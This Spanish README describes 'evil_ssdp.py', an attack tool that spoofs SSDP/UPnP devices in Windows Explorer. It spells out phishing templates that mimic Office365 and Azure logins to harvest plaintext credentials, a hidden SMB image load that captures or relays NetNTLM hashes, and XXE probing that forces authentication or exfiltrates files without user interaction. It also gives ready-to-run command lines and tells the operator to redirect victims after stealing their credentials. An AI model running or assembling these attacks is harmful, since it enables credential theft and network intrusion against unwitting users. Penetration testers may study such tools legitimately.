
Suplanta respuestas SSDP y crea dispositivos UPnP falsos para phishing de credenciales y desafío/respuesta NetNTLM.
Esta herramienta responde a solicitudes de descubrimiento multicast SSDP, haciéndose pasar por un dispositivo UPNP genérico. Tu dispositivo suplantado aparecerá mágicamente en el Explorador de Windows en las máquinas de tu red local. Los usuarios que sean tentados a abrir el dispositivo verán una página de phishing configurable. Esta página puede cargar una imagen oculta a través de SMB, permitiéndote capturar o retransmitir el desafío/respuesta NetNTLM.
También se proporcionan plantillas para capturar credenciales en texto claro mediante autenticación básica y formularios de inicio de sesión, y crear tus propias plantillas personalizadas es rápido y sencillo.
Esto no requiere credenciales existentes para ejecutarse y funciona incluso en redes que se han protegido contra ataques Responder deshabilitando NETBIOS y LLMNR. Cualquier sistema operativo o aplicación que utilice SSDP/UPNP puede ser objetivo, pero la mayor parte de la weaponización actual se ha dirigido a Windows 10.
Como plus adicional, esta herramienta también puede detectar y explotar posibles vulnerabilidades de día cero en los motores de análisis XML de aplicaciones que usan SSDP/UPNP. Si se encuentra un dispositivo vulnerable, te alertará en la interfaz de usuario y luego montará tu recurso compartido SMB o exfiltrará datos SIN NECESIDAD DE INTERACCIÓN DEL USUARIO mediante un ataque de Entidad Externa XML (XXE).
La ejecución más básica se ve así:
evil_ssdp.py eth0
Debes proporcionar al menos la interfaz de red. La interfaz se utiliza tanto para la interacción UDP SSDP como para alojar un servidor web para los archivos XML y la página de phishing.
La herramienta actualizará automáticamente una etiqueta IMG en la página de phishing utilizando la IP de la interfaz que proporciones. Para trabajar con desafío/respuesta, necesitarás lanzar un servidor SMB en esa interfaz (como Impacket). Esta dirección se puede personalizar con la opción -s.
Algunos escenarios de ejemplo:
# Usar wlan0 para anunciar el dispositivo y hacer phishing, capturando NetNTLM y
# solicitando texto claro a través de un formulario de inicio de sesión falso de Office365. Redirigir a
# Microsoft después de capturar las credenciales:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# Igual que arriba, pero asumiendo que tu servidor SMB se ejecuta en otra IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Solicitar credenciales usando autenticación básica y redirigir a Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Esperar una vulnerabilidad XXE para capturar NetNTLM mientras Impacket/Responder se ejecuta
en wlan0:
evil_ssdp.py wlan0 -t xxe-smb
Detalles de uso completos:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Interfaz de red en la que escuchar.
optional arguments:
-h, --help Muestra este mensaje de ayuda y sale
-p PORT, --port PORT Puerto para el servidor HTTP. Por defecto 8888.
-t TEMPLATE, --template TEMPLATE
Nombre de una carpeta en el directorio de plantillas. Por defecto
"office365". Esto determinará los archivos xml y las páginas de phishing utilizados.
-s SMB, --smb SMB Dirección IP de tu servidor SMB. Por defecto la dirección principal
de la "interfaz" proporcionada.
-b, --basic Habilitar autenticación base64 para plantillas y escribir
credenciales en el archivo de registro.
-r REALM, --realm REALM
Realm al solicitar autenticación al objetivo mediante Basic Auth.
-u URL, --url URL Redirigir a esta URL. Funciona con plantillas que hacen un
POST para formularios de inicio de sesión y con plantillas que incluyen
el JavaScript de redirección personalizada (ver README para más
información). [ejemplo: -r https://google.com]
-a, --analyze Ejecutar en modo análisis. NO responderá a ninguna consulta
SSDP, pero seguirá habilitando y ejecutando el servidor web para pruebas.
Las siguientes plantillas vienen con la herramienta. Si tienes buenas habilidades de diseño, ¡contribuye con una propia!
office365: Aparecerá en el Explorador de Windows como "Office365 Backups". La página de phishing que simula el inicio de sesión de Office365 enviará las credenciales mediante POST. Estas se marcarán en la interfaz de usuario y se registrarán en el archivo de registro. Se recomienda ejecutar con '-u https://www.office.com' para redirigir a los usuarios al sitio legítimo después de robar sus credenciales. Desarrollador: pentestgeek.scanner: Aparecerá en el Explorador de Windows como un escáner con el nombre "Corporate Scanner [3 NEW SCANS WAITING]". Al hacer doble clic, se mostrará una página de inicio de sesión de aspecto genérico. Esta plantilla se beneficiaría de personalizaciones para tu objetivo en particular. Plantilla copiada en su mayoría de esta plantilla.microsft-azure: Aparecerá en el Explorador de Windows como "Microsoft Azure Storage". La página de destino es la página de inicio de sesión de Windows Live cuando las cookies están deshabilitadas. Se recomienda usar con la opción -u para redirigir a los usuarios a la página de inicio de sesión real. Desarrollador: Dwight Hohnstein.bitcoin: Aparecerá en el Explorador de Windows como "Bitcoin Wallet". La página de phishing es solo un conjunto aleatorio de información de clave privada/pública/dirección de Bitcoin. No hay fondos reales en estas cuentas.password-vault: Aparecerá en el Explorador de Windows como "IT Password Vault". La página de phishing contiene una lista corta de contraseñas falsas / claves SSH / etc.xxe-smb: Probablemente no aparecerá en el Explorador de Windows. Se usa para encontrar vulnerabilidades de día cero en analizadores XML. Disparará una alerta "XXE - VULN" en la interfaz de usuario para aciertos e intentará forzar a los clientes a autenticarse con el servidor SMB, sin interacción.xxe-exfil: Otro ejemplo de búsqueda de vulnerabilidades XXE, pero esta vez intentando exfiltrar un archivo de prueba desde un host Windows. Por supuesto, puedes personalizarlo para buscar cualquier archivo específico que quieras, Windows o Linux. En las aplicaciones vulnerables que he descubierto, la exfiltración funciona solo en un archivo sin espacios en blanco ni saltos de línea. Esto se debe a cómo se inyecta en la URL de una solicitud GET. Si consigues que funcione en archivos de múltiples líneas, POR FAVOR házmelo saber cómo lo hiciste.Crear tus propias plantillas es fácil. Simplemente copia la carpeta de una plantilla existente y edita los siguientes archivos:
device.xml: Aquí es donde definirás cómo se ve el dispositivo dentro del Explorador de Windows.present.html: Esta es la página de phishing que se muestra cuando un objetivo abre el dispositivo malicioso. Puedes crear cualquier cosa aquí. Ten en cuenta que la plantilla de cadenas de Python analizará esto, por lo que deberás usar $$ en lugar de $ en cualquier lugar para escapar del motor de plantillas.service.xml: Aún no implementado. Puede ser necesario para suplantación UPNP más compleja en el futuro.